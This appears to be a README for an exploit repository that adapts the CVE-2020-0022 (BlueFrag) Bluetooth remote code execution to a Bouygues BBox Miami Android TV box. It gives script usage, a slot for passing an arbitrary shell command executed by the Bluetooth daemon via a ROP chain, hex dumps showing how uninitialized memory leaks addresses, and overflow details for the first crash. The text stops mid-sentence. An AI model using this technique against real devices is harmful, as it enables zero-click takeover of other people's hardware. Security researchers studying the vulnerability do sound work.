polo35/cve-2020-0022CVE-2020-0022 vulnerability exploitation on Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)
########################################################################################
CVE-2020-0022 vulnerability exploitation on Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 By Polo35 - 2020/08/24
########################################################################################
"Usage: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
########################################################################################
Based on scripts by Jan Ruge CVE-2020-0022 an Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
INTRODUCTION & TIPS
########################################################################################
The script use python bluetooth module to get ACL connection handle So you need to install bluetooth libraries and pybluez (version 0.22 for python2 and last version for python3)
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
You can pass a shell command to the script as parameter that will be executed with system function by the bluetooth deamon There is only 104 characters available for the shell command because the ROP chain take 20 first bytes of the second payload
Exemple: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
The script can use adb to check connection inspect logcat and reboot the target when needed For this you have to pass the target ip as parameter Make sure to connect target with adb connect and open a shell to check connection before using the script
Best results are obtained by connecting the target via bluetooth with a smartphone when the script say it ;) It can take more than 30 try to trigger the exploit but it sometime work at first try
########################################################################################
MEMORY LEAK WITH ARM32
########################################################################################
The Bouygues BBox Miami is based on an ARM 32 bytes Cortex A9 processor The difference with ARM64 is that libc memcpy function doesn't underflow so it's impossible to get same leaks as Jan Ruge But the vulnerability is present and is exploitable in a different way
By sending l2cap packet with 4 bytes fragmentation we can trigger a memcpy of 0 length in reassemble_and_dispatch This allow to get 4 bytes of uninitialized data at end of echo
Increasing first packet length (further named mem_offset) allow to "walk" the uninitialized memory Getting 32 echos with same mem_offset give 2 to 8 exploitable echos Echos are repeated so no need to get more then 32 echos at same mem_offset This method we also feel memory with the packets so it's easy to reconize patterns and find offsets in leaks
The mem_offset is the length of the l2cap packet in characters Ex: mem_offset 184 = l2cap packet of 184 characters = l2cap packet of 368 bytes
Example of memory "walking" and uninitialized data with repetitions:
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
We can see at mem_offset 180 and 184 some memory address in little endian
a4ce80a3 give address 0xa380cea4 24d280a3 give address 0xa380d224 a4d580a3 give address 0xa380d5a4 9cce80a3 give address 0xa380ce9c 1cd280a3 give address 0xa380d21c 9cd580a3 give address 0xa380d59c
There is at least 4 or 5 mem_offset where is possible to find real memory address after nearly all reboot We will see later how we can use them
########################################################################################
ANALYSE OF FIRST CRASH
########################################################################################
By sending l2cap packet with 2 bytes fragmentation we can trigger a memcpy of -2 length in reassemble_and_dispatch This allow to overflow outside the partial packet with 30 bytes of controlled data from the second packet Because of the 30 copied bytes it's not necessary to send packets bigger than 32 bytes with 4 last bytes null
This overflow method sometimes crash the bluetooth deamon with controlled R0 register in _Z11list_appendP6list_tPv+65:
